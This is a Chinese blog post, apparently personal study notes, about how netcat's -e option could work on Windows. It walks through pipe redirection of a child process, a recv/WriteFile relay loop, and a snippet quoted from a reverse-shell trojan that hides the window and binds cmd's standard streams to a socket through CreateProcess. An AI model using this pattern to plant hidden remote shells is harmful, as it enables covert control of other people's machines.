嗯,最近天气变幻无常……
最开始时源于想知道下NC的-e选项是怎么实现的,搜商有限,找到源码都不支持-e……
然后就搜到了windows管道方面的知识:微软msdn里面有提到“Creating a Child Process with Redirected Input and Output”(http://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx)。嗯,利用管道来实现子程序输入输出。其代码实现了将子程序的输入输出重定向到文件中……
接着,就该考虑如何把输入输出重定向到网络端口中。刚刚开始想法,印象中Win中文件系统把其它设备也当做特殊文件处理,所以就想CreateFile可不可以打开端口,然后发现msdn(http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx)中提到“The name of the file or device to be created or opened. You may use either forward slashes (/) or backslashes (\) in this name.”看出是可以这样的,可是没看到SOCKET相关的……悲剧。然后偷懒继续往ReadFile看,msdn里面提到了"For asynchronous read operations, hFile can be any handle that is opened with the FILE_FLAG_OVERLAPPED flag by the CreateFile function, or a socket handle returned by the socket or accept function.”,然后我就傻傻地把accept返回值放进去……发现参数出错……然后就郁闷了,不熟悉这块……
接着看上面提到的微软子程序输入输出重定向的代码,发现其实也不是一定要用ReadFile的方式来读取内容……(后来挺郁闷的,怎么会卡死在这里那么久……为什么会坚持要用ReadFile来实现?!)然后发现其实可以类似下面代码实现:
memset(chBuf, 0x00, sizeof(chBuf));
Ret = recv(CientSocket, chBuf, MAX_PATH, 0);
if ( Ret == 0 || Ret == SOCKET_ERROR )
{
cout<<"客户端退出!"<<endl;
break;
}
fSuccess = WriteFile( hChildStdinWrDup, chBuf, Ret, &dwWritten, NULL) ;
if ( !fSuccess )
break;
然后测试NC客户端可以连接到,感觉OK。
可是今晚恰巧在一个反弹木马里面看到这段代码:
StartupInfo.cb=sizeof(STARTUPINFO);
StartupInfo.wShowWindow=SW_HIDE;
StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
StartupInfo.hStdError=(HANDLE)HSocket;
StartupInfo.hStdOutput=(HANDLE)HSocket;
StartupInfo.hStdInput=(HANDLE)HSocket;
CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
然后就知道自己白天还是悲剧了……嗯,CreateProcess里面可以设置子程序的一些属性(_STARTUPINFO(http://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx))……里面可以直接重新设置输入输出流……完全忽视了白天看的管道……
图样吐辛普……